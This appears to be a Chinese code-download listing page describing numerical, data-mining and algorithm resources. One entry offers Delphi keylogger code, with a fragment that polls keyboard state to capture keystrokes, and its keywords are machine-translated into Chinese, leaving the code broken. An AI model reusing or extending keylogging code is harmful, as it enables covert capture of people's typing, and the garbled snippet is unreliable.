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数值分析算法:非线性方程的求解,插值,表面…
数值分析算法:求解非线性方程组,插值,曲面拟合,得近似表达式-Numerical analysis algorithms: solving nonlinear equations, interpolation, surface fitting, very similar to the expression
- 2022-03-21 01:09:20下载
- 积分:1
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第七章 图习题答案
第七章 图习题答案-Chapter VII map answer Exercises
- 2022-01-24 18:48:22下载
- 积分:1
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containing matrix, subtraction, multiplication, addition and to the home, seekin...
含有矩阵加、减、乘、除及转置、求逆运算等等,还需要改进-containing matrix, subtraction, multiplication, addition and to the home, seeking inverse operation, and so on, it is also necessary to improve
- 2022-06-30 15:05:04下载
- 积分:1
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A Reader Anti-collision Protocol for RFID-Enhanced Wireless Sensor Networks
资源描述Abstract Considering rapid developments in the technologies of both radio-frequency identification
(RFID) systems and wireless sensor networks (WSN), an integration of the two
technologies may lead to the formation of an RFID-enhanced WSN which would possess
improved functions and capabilities. In the RFID-enhanced WSN, many reader-enhanced
nodes have increasingly been employed. In such networks, RFID data contains a lot of duplication,
because the same tag may be read multiple times, and collision may occur among
readers, while energy constraints are also a serious problem. These three could in turn cause
serious problems. In this paper, we have proposed our CSMA-based algorithm since it is light,
efficiently minimizes all kinds of reader collision, and eliminates the duplicate data. For this
purpose, we have used a separate control channel and a tag ID forwarding mechanism with a
special co
- 2023-05-06 18:20:03下载
- 积分:1
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该算法简单、实用的基础上,该算法可以实现…
一个简单实用的进制转换算法,该算法能实现二、八、十、十六进制的相互转化。-a simple and practical base for the conversion algorithm, the algorithm can achieve 2, 8, 10, hexadecimal the mutual conversion.
- 2022-03-04 01:49:46下载
- 积分:1
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WEKA源码
著名数据挖掘软件weka的全部算法源代码,对初学者,进阶者都有不少收获!
- 2023-06-08 19:30:05下载
- 积分:1
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优化天线方向图的GA
用于优化天线的方向图的 遗传算法 还可以修改 优化超大优化参数的优化 读者可以根据 需求 修改 用于 不同的目的 如果读者 有需要 也可以改变成其他的语言
- 2022-01-28 17:54:52下载
- 积分:1
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对偶单纯形法
求解线性规划的对偶单纯形法,c语言版。线性规划的对偶单纯形法用c语言实现
- 2023-01-05 11:05:03下载
- 积分:1
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通过 Delphi Keyloger 代码
程序 Send(x: string);
开始
form1。Memo1.Lines.Add(x)
结束 ;
程序 TForm1.Timer1Timer(Sender: TObject);
//begin
//if GetAsyncKeyState(Ord("A")) =-32767 然后 send("A") ;
//if GetAsyncKeyState(Ord("B")) =-32767 然后 send("B") ;
var X,y:integer ;
f:char ;
str:string ;
开始
X: = 0 到 255 做
开始
- 2022-06-29 21:37:30下载
- 积分:1
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搜索引擎的评估准则
应用背景本代码主要实现搜索引擎的几个评估准则,包括NDCG@K、DCG@K、P@K、RR@K、ERR@K这五类评估准则的实现,这代码主要是根据RankLib中的评估准则代码以scala的形似展现出来,相对于RankLib中的 评估代码而言,本代码短小,可读性强,可移植性大,关键技术本文使用 的scala实现,对NDCG@K、DCG@K、P@K、RR@K、ERR@K这五类评估准则的实现,跟RankLib中的评估公式保持一致
- 2022-07-14 14:24:01下载
- 积分:1